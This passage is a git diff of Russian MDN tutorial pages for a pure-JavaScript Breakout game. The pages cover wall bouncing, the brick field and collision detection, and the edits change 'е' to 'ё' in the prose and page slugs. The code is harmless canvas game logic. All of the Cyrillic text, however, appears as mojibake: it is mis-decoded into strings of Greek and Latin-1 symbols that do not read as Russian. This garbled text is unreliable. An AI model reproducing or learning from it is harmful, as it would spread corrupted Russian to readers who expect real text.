ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ отскок мяча ΠΎΡ‚ Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… ΠΊΡ€Π°Ρ‘Π² холста.</p>
<h2 id="ΠŸΡ€ΠΎΡΡ‚ΠΎΠ΅_ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅_столкновСний">ΠŸΡ€ΠΎΡΡ‚ΠΎΠ΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ столкновСний</h2>
<p>Для обнаруТСния столкновСния ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ -Β  касаСтся Π»ΠΈ мяч стСны, ΠΈ Ссли это Ρ‚Π°ΠΊ, ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Сго двиТСния Π² Π½ΡƒΠΆΠ½ΡƒΡŽ сторону.</p>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ расчСты ΠΏΡ€ΠΎΡ‰Π΅, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>ballRadius</code>, Ρ‡Ρ‚ΠΎ задаст радиус нарисованного ΠΊΡ€ΡƒΠ³Π° ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для вычислСний. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ это Π² ваш ΠΊΠΎΠ΄, Π³Π΄Π΅-Ρ‚ΠΎ Π½ΠΈΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ расчёты ΠΏΡ€ΠΎΡ‰Π΅, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>ballRadius</code>, Ρ‡Ρ‚ΠΎ задаст радиус нарисованного ΠΊΡ€ΡƒΠ³Π° ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для вычислСний. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ это Π² ваш ΠΊΠΎΠ΄, Π³Π΄Π΅-Ρ‚ΠΎ Π½ΠΈΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…:</p>
<pre class="brush: js">var ballRadius = 10;</pre>
@@ -37,7 +37,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_
<h3 id="ΠžΡ‚ΡΠΊΠ°ΠΊΠΈΠ²Π°Π½ΠΈΠ΅_ΠΎΡ‚_Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ_ΠΈ_Π½ΠΈΠΆΠ½Π΅ΠΉ_стСны">ΠžΡ‚ΡΠΊΠ°ΠΊΠΈΠ²Π°Π½ΠΈΠ΅Β ΠΎΡ‚ Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ ΠΈ Π½ΠΈΠΆΠ½Π΅ΠΉ стСны</h3>
-<p>Π•ΡΡ‚ΡŒ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ стСны, ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… мяч Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΡΠΊΠ°ΠΊΠΈΠ²Π°Ρ‚ΡŒΒ β€” Π΄Π°Π²Π°ΠΉΡ‚Π΅ сначала сосрСдоточимся Π½Π° Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ. ΠŸΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ, коснулся Π»ΠΈ мяч вСрхнСй Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ β€” Ссли Π΄Π°, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ΅ Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ мяча, поэтому ΠΎΠ½ Π½Π°Ρ‡Π½Π΅Ρ‚ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΠΌ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΈ остановится Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… Π²ΠΈΠ΄ΠΈΠΌΠΎΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. Вспомнив, Ρ‡Ρ‚ΠΎ систСма ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ начинаСтся с Π»Π΅Π²ΠΎΠ³ΠΎ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ ΡƒΠ³Π»Π°, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ этого:</p>
+<p>Π•ΡΡ‚ΡŒ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ стСны, ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… мяч Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΡΠΊΠ°ΠΊΠΈΠ²Π°Ρ‚ΡŒΒ β€” Π΄Π°Π²Π°ΠΉΡ‚Π΅ сначала сосрСдоточимся Π½Π° Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ. ΠŸΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ, коснулся Π»ΠΈ мяч вСрхнСй Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ β€” Ссли Π΄Π°, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ΅ Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ мяча, поэтому ΠΎΠ½ Π½Π°Ρ‡Π½Ρ‘Ρ‚ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΠΌ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΈ остановится Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… Π²ΠΈΠ΄ΠΈΠΌΠΎΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. Вспомнив, Ρ‡Ρ‚ΠΎ систСма ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ начинаСтся с Π»Π΅Π²ΠΎΠ³ΠΎ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ ΡƒΠ³Π»Π°, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ этого:</p>
<pre class="brush: js">if(y + dy &lt; 0) {
dy = -dy;
@@ -45,7 +45,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_
<p>Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>y</code> полоТСния ΡˆΠ°Ρ€Π° Π½ΠΈΠΆΠ΅ нуля, ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ двиТСния ΠΏΠΎ оси <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">y</span></font> установив Π΅Π³ΠΎ с Ρ‚Π΅ΠΌ ΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π½ΠΎ с Π΄Ρ€ΡƒΠ³ΠΈΠΌ Π·Π½Π°ΠΊΠΎΠΌ. Если мяч двиТСтся Π²Π²Π΅Ρ€Ρ… со ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒΡŽ 2 пиксСля на ΠΊΠ°Π΄Ρ€, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ "Π²Π²Π΅Ρ€Ρ…" со ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒΡŽ -2 пиксСля, Ρ‡Ρ‚ΠΎ Π½Π° самом Π΄Π΅Π»Π΅ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚Β Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅Β Π²Π½ΠΈΠ· со ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒΡŽ 2 пиксСля.</p>
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄ описываСт ΠΎΡ‚Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ‚ Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ Π½ΠΈΠΆΠ½Π΅ΠΌ ΠΊΡ€Π°Π΅:</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄ описываСт ΠΎΡ‚Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ‚ Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ Π½ΠΈΠΆΠ½Π΅ΠΌ ΠΊΡ€Π°Π΅:</p>
<pre class="brush: js">if(y + dy &gt; canvas.height) {
dy = -dy;
@@ -77,7 +77,7 @@ if(y + dy &gt; canvas.height || y + dy &lt; 0) {
<h3 id="ΠœΡΡ‡_ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚_ΠΈΡΡ‡Π΅Π·Π°Ρ‚ΡŒ_Π²_стСнС!">ΠœΡΡ‡ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ ΠΈΡΡ‡Π΅Π·Π°Ρ‚ΡŒ Π² стСнС!</h3>
-<p>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ сСйчас свой код, ΠΈ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π²ΠΏΠ΅Ρ‡Π°Ρ‚Π»Π΅Π½Ρ‹ β€” Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒΒ ΠΌΡΡ‡, отскакиваСт ΠΎΡ‚ всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… ΠΊΡ€Π°Ρ‘Π² нашСго <code>&lt;canvas&gt;</code>!  Однако Π΅ΡΡ‚ΡŒ нСкоторая проблСма - ΠΊΠΎΠ³Π΄Π° мяч ΠΏΠΎΠΏΠ°Π΄Π°Π΅Ρ‚ Π² Π»ΡŽΠ±ΡƒΡŽ стСну, ΠΎΠ½ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π·Π°Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹Β <code>&lt;canvas&gt;</code>Β ΠΏΠ΅Ρ€Π΅Π΄ отскоком:</p>
+<p>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ сСйчас свой код, ΠΈ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π²ΠΏΠ΅Ρ‡Π°Ρ‚Π»Ρ‘Π½Ρ‹ β€” Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒΒ ΠΌΡΡ‡, отскакиваСт ΠΎΡ‚ всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… ΠΊΡ€Π°Ρ‘Π² нашСго <code>&lt;canvas&gt;</code>!  Однако Π΅ΡΡ‚ΡŒ нСкоторая проблСма - ΠΊΠΎΠ³Π΄Π° мяч ΠΏΠΎΠΏΠ°Π΄Π°Π΅Ρ‚ Π² Π»ΡŽΠ±ΡƒΡŽ стСну, ΠΎΠ½ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π·Π°Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹Β <code>&lt;canvas&gt;</code>Β ΠΏΠ΅Ρ€Π΅Π΄ отскоком:</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/10432/ball-in-wall.png" style="display: block; height: 320px; margin: 0px auto; width: 480px;"></p>
@@ -94,7 +94,7 @@ if(y + dy &gt; canvas.height-ballRadius || y + dy &lt; ballRadius) {
<h2 id="Π‘Ρ€Π°Π²Π½ΠΈΡ‚Π΅_ваш_ΠΊΠΎΠ΄">Π‘Ρ€Π°Π²Π½ΠΈΡ‚Π΅ ваш ΠΊΠΎΠ΄</h2>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π΅Ρ‰Π΅ Ρ€Π°Π· ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌΒ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ΄ для этой части, ΠΈ ΠΊΠΎΠ΄,Β Ρ‡Ρ‚ΠΎ Ρƒ вас Π΅ΡΡ‚ΡŒ, ΠΈ ΠΈΠ³Ρ€Π°ΠΉΡ‚Π΅:</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π΅Ρ‰Ρ‘ Ρ€Π°Π· ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌΒ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ΄ для этой части, ΠΈ ΠΊΠΎΠ΄,Β Ρ‡Ρ‚ΠΎ Ρƒ вас Π΅ΡΡ‚ΡŒ, ΠΈ ΠΈΠ³Ρ€Π°ΠΉΡ‚Π΅:</p>
<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/redj37dc/","","370")}}</p>
@@ -104,6 +104,6 @@ if(y + dy &gt; canvas.height-ballRadius || y + dy &lt; ballRadius) {
<h2 id="Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ_шаг">Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ шаг</h2>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π΄ΠΎΠ±Ρ€Π°Π»ΠΈΡΡŒ Π΄ΠΎ стадии, Π³Π΄Π΅ наш мяч ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ двигаСтся ΠΈ остаётся на ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠΌ ΠΏΠΎΠ»Π΅. Π’ Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΠΎΠΉ Π³Π»Π°Π²Π΅ ΠΌΡ‹ рассмотрим Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ управлСния — см.Β <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Paddle_and_keyboard_controls">Paddle and keyboard controls</a>.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π΄ΠΎΠ±Ρ€Π°Π»ΠΈΡΡŒ Π΄ΠΎ стадии, Π³Π΄Π΅ наш мяч ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ двигаСтся ΠΈ остаётся на ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠΌ ΠΏΠΎΠ»Π΅. Π’ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚ΠΎΠΉ Π³Π»Π°Π²Π΅ ΠΌΡ‹ рассмотрим Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ управлСния — см.Β <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Paddle_and_keyboard_controls">Paddle and keyboard controls</a>.</p>
<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls")}}</p>
diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html
index c2b6c134d0..043994fe01 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html
@@ -1,8 +1,8 @@
---
-title: Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ Π·ΠΎΠ½Ρƒ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ
+title: Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ Π·ΠΎΠ½Ρƒ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ
slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Build_the_brick_field
translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Build_the_brick_field
-original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ_Π·ΠΎΠ½Ρƒ_ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ
+original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ_Π·ΠΎΠ½Ρƒ_ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ
---
<div>{{GamesSidebar}}</div>
@@ -44,7 +44,7 @@ for(var c=0; c&lt;brickColumnCount; c++) {
}
}</pre>
-<p>Π’Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Ρ‚ΡŒ строки ΠΈ столбцы ΠΈ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ.Β ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π½Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для Ρ†Π΅Π»Π΅ΠΉ обнаруТСния столкновСний ΠΏΠΎΠ·ΠΆΠ΅.</p>
+<p>Π’Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Ρ‚ΡŒ строки ΠΈ столбцы ΠΈ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ.Β ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π½Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для Ρ†Π΅Π»Π΅ΠΉ обнаруТСния столкновСний ΠΏΠΎΠ·ΠΆΠ΅.</p>
<h2 id="ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ_отрисовки_ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ">ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ отрисовки ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ</h2>
@@ -71,7 +71,7 @@ var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;</pre>
-<p>КаТдая позиция <code>brickX</code> разрабатываСтся ΠΊΠ°ΠΊΒ <code>brickWidth</code>Β +Β <code>brickPadding</code>Β , умноТСнная Π½Π° Π½ΠΎΠΌΠ΅Ρ€ столбца,Β <code>c</code>Β , плюс <code>brickOffsetLeft</code>Β ;Β Π»ΠΎΠ³ΠΈΠΊΠ° для brickY ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½Π°, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ значСния для Π½ΠΎΠΌΠ΅Ρ€Π° строки,Β <code>r</code>,Β <code>brickHeight</code>Β ΠΈΒ <code>brickOffsetTop</code>Β .Β Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΈΡ€ΠΏΠΈΡ‡ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ мСсто ΠΈ столбСц мСста, с отступом ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΎΠΌ, нарисованным Π½Π° смСщСниС ΠΎΡ‚ Π»Π΅Π²ΠΎΠ³ΠΎ ΠΈ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ ΠΊΡ€Π°Π΅Π² холста.</p>
+<p>КаТдая позиция <code>brickX</code> разрабатываСтся ΠΊΠ°ΠΊΒ <code>brickWidth</code>Β +Β <code>brickPadding</code>Β , умноТСнная Π½Π° Π½ΠΎΠΌΠ΅Ρ€ столбца,Β <code>c</code>Β , плюс <code>brickOffsetLeft</code>Β ;Β Π»ΠΎΠ³ΠΈΠΊΠ° для brickY ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½Π°, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ значСния для Π½ΠΎΠΌΠ΅Ρ€Π° строки,Β <code>r</code>,Β <code>brickHeight</code>Β ΠΈΒ <code>brickOffsetTop</code>Β .Β Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΈΡ€ΠΏΠΈΡ‡ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ мСсто ΠΈ столбСц мСста, с отступом ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΎΠΌ, нарисованным Π½Π° смСщСниС ΠΎΡ‚ Π»Π΅Π²ΠΎΠ³ΠΎ ΠΈ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ ΠΊΡ€Π°Ρ‘Π² холста.</p>
<p>ΠžΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Π°Ρ вСрсия Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>drawBricks()</code> послС назначСния <code>brickX</code>Β ΠΈΒ <code>brickY</code>Β Π² качСствС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ вмСсто <code>(0,0)</code>Β ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ: Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ это Π² свой ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>drawPaddle()</code>Β :</p>
diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html
index 3f03e0f748..21e52d9a3d 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html
@@ -8,12 +8,12 @@ original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/ΠžΠ±Π½Π°Ρ€ΡƒΠΆΠ΅
<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
-<p>{{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ_Π·ΠΎΠ½Ρƒ_ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}</p>
+<p>{{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ_Π·ΠΎΠ½Ρƒ_ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}</p>
<div class="summary">
